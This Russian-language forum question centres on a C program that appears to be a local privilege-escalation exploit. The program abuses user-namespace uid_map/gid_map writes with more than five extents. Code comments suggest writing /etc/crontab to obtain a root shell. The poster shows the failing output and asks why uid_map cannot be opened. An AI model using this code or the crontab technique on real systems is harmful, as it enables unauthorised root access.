Я использую этот код в Archlinux (версия ядра 5.0.0) как обычный пользователь без полномочий root.
#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>
int main(void)
{
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe))
err(1, "pipe");
// create a child process
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
// in child process
close(sync_pipe[1]);
// this creates a new ns
if (unshare(CLONE_NEWUSER))
err(1, "unshare userns");
if (write(sync_pipe[0], "X", 1) != 1)
err(1, "write to sock");
if (read(sync_pipe[0], &dummy, 1) != 1)
err(1, "read from sock");
// start a bash process (replace process image)
// this time you are actually root, without the name/id, though
// technically the root access is not complete,
// to get complete root, write to /etc/crontab and wait for a root shell to pop up
execl("/bin/bash", "bash", NULL);
err(1, "exec");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1)
err(1, "read from sock");
char pbuf[100]; // path of uid_map
sprintf(pbuf, "/proc/%d", (int)child);
// cd to /proc/pid/uid_map
if (chdir(pbuf))
err(1, "chdir");
// our new id mapping with 6 extents (> 5 extents)
const char* id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
// write the new mapping to uid_map and gid_map
int uid_map = open("uid_map", O_WRONLY);
if (uid_map == -1)
err(1, "open uid map");
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping))
err(1, "write uid map");
close(uid_map);
int gid_map = open("gid_map", O_WRONLY);
if (gid_map == -1)
err(1, "open gid map");
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping))
err(1, "write gid map");
close(gid_map);
if (write(sync_pipe[1], "X", 1) != 1)
err(1, "write to sock");
int status;
if (wait(&status) != child)
err(1, "wait");
return 0;
}
Я просто компилирую его с помощью gcc -o j j.c
, затем запускаю ./j
, я получил
j: write uid map: Operation not permitted
j: read from sock: Success
Хорошо, это понятно, у меня нет CAP_SETUID, как упомянуто на странице руководства http://man7.org/linux/man-pages/man7/user_namespaces.7.html,
Для того, чтобы процесс мог записать в / proc / [файл pid] / uid_map (/ proc / [pid] / gid_map), должны быть выполнены все следующие требования:
1. The writing process must have the CAP_SETUID (CAP_SETGID) capabil‐
ity in the user namespace of the process pid.
2. The writing process must either be in the user namespace of the
process pid or be in the parent user namespace of the process pid.
3. The mapped user IDs (group IDs) must in turn have a mapping in the
parent user namespace.
4. One of the following two cases applies:
* Either the writing process has the CAP_SETUID (CAP_SETGID)
capability in the parent user namespace.
+ No further restrictions apply: the process can make mappings
to arbitrary user IDs (group IDs) in the parent user names‐
pace.
* Or otherwise all of the following restrictions apply:
+ The data written to uid_map (gid_map) must consist of a sin‐
gle line that maps the writing process's effective user ID
(group ID) in the parent user namespace to a user ID (group
ID) in the user namespace.
+ The writing process must have the same effective user ID as
the process that created the user namespace.
+ In the case of gid_map, use of the setgroups(2) system call
must first be denied by writing "deny" to the
/proc/[pid]/setgroups file (see below) before writing to
gid_map.
Writes that violate the above rules fail with the error EPERM.
А затем я использую sudo setcap cap_setuid+eip j;./j
, я получил
j: open uid map: Permission denied
j: read from sock: Success
Вопрос: Почему я больше не могу открыть файл uid_map
дочернего процесса?